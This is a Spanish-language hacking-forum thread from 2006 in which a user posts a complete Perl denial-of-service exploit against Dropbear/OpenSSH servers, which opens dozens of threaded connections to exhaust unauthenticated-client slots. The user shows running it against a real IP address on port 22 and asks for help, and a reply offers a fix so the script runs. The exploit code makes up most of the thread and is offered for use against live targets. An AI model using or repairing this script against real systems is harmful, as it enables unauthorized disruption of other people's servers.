elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
25 Mayo 2012, 15:12  


Tema destacado: ¡Aprende hacking con práctica! - WarZone, el wargame de elhacker.net

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderador: berz3k)
| | |-+  Problema con Exploit en Perl
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Problema con Exploit en Perl  (Leído 1,434 veces)
Zinc


Desconectado Desconectado

Mensajes: 2.169


Argentina


Ver Perfil
Problema con Exploit en Perl
« en: 2 Diciembre 2006, 05:25 »

Tengo problemas al ejecutar este exploit en un cmd.
Este es el exploit:
Código:
#!/usr/bin/perl
## I needed a working test script so here it is.
## just a keep alive thread, I had a few problems with Pablo's code running properly.
##
## Straight from Pablo Fernandez's advisory:
# Vulnerable code is in svr-main.c
#
# /* check for max number of connections not authorised */
# for (j = 0; j < MAX_UNAUTH_CLIENTS; j++) {
#        if (childpipes[j] < 0) {
#                break;
#        }
# }
#
# if (j == MAX_UNAUTH_CLIENTS) {
#        /* no free connections */
#        /* TODO - possibly log, though this would be an easy way
#         * to fill logs/disk */
#        close(childsock);
#        continue;
# }
## /str0ke (milw0rm.com)

use IO::Socket;
use Thread;
use strict;

# thanks to Perl Underground for my moronic coding style fixes.
my ($serv, $port, $time) = @ARGV;

sub usage
{
print "\nDropbear / OpenSSH Server (MAX_UNAUTH_CLIENTS) Denial of Service Exploit\n";
print "by /str0ke (milw0rm.com)\n";
print "Credits to Pablo Fernandez\n";
print "Usage: $0 [Target Domain] [Target Port] [Seconds to hold attack]\n";
exit ();
}

sub exploit
{
my ($serv, $port, $sleep) = @_;
my $sock = new IO::Socket::INET ( PeerAddr => $serv,
PeerPort => $port,
Proto => 'tcp',
);

die "Could not create socket: $!\n" unless $sock;
sleep $sleep;
close($sock);
}

sub thread {
print "Server: $serv\nPort: $port\nSeconds: $time\n";
for my $i ( 1 .. 51 ) {
print ".";
my $thr = new Thread \&exploit, $serv, $port, $time;
}
sleep $time; #detach wouldn't be good
}

if (@ARGV != 3){&usage;}else{&thread;}

# milw0rm.com [2006-03-10]

Este es el error:

Código:
C:\perl>perl exploit.pl 200.62.54.114 22 1
parse error in file exploit.pl at line 24, next 2 tokens "use IO"
parse error in file exploit.pl at line 42, next 2 tokens "my ("
Missing $ on loop variable at exploit.pl line 55.

Que pasara?.

Gracias.

Saludos!!
En línea

Tiempo al tiempo, es tiempo de regresar al foro.elhacker.net...


kanzix

Desconectado Desconectado

Mensajes: 20

{PHP && PERL}


Ver Perfil
Re: Problema con Exploit en Perl
« Respuesta #1 en: 2 Diciembre 2006, 19:18 »

cambia use IO::Socket;  en la linea 24 por use IO::Socket::INET;

salu2
« Última modificación: 2 Diciembre 2006, 19:20 por kanzix » En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Problema Calculadora en Perl
Scripting
Xanz 2 547 Último mensaje 11 Febrero 2011, 22:30
por Shell Root
[Perl] FSD Exploit Manager
Scripting
Doddy 0 327 Último mensaje 7 Octubre 2011, 01:14
por Doddy
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines